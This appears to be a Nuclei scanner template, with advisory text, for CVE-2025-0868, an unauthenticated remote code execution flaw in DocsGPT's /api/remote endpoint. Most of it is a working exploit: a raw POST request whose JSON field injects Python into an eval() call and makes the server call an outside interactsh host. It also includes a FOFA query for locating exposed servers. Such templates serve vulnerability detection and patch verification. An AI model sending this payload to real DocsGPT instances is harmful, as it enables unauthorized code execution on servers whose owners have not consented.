A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.
PoC代码[已公开]
id: CVE-2025-0868
info:
name: DocsGPT - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.
reference:
- https://cert.pl/posts/2025/02/CVE-2025-0868/
- https://cert.pl/en/posts/2025/02/CVE-2025-0868/
- https://github.com/arc53/DocsGPT
classification:
epss-score: 0.16047
epss-percentile: 0.94551
metadata:
verified: true
max-request: 1
fofa-query: body="Welcome to DocsGPT"
tags: cve,cve2025,docsgpt,unauth,rce,vkev
http:
- raw:
- |
POST /api/remote HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://{{interactsh-url}}/')}#":11}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- dns
- type: word
part: body
words:
- '"task_id":'
- '"status":'
condition: and
# digest: 4a0a00473045022068b755c9b750cf4362efce0765986a87b77981603c2a3bd4bc64fb8bf3f8de11022100e2e5fd5e50f7f691f43697555101c7feb1ee2f673cbe059542e28c583239eaec:922c64590222798bb761d5b6d8e72950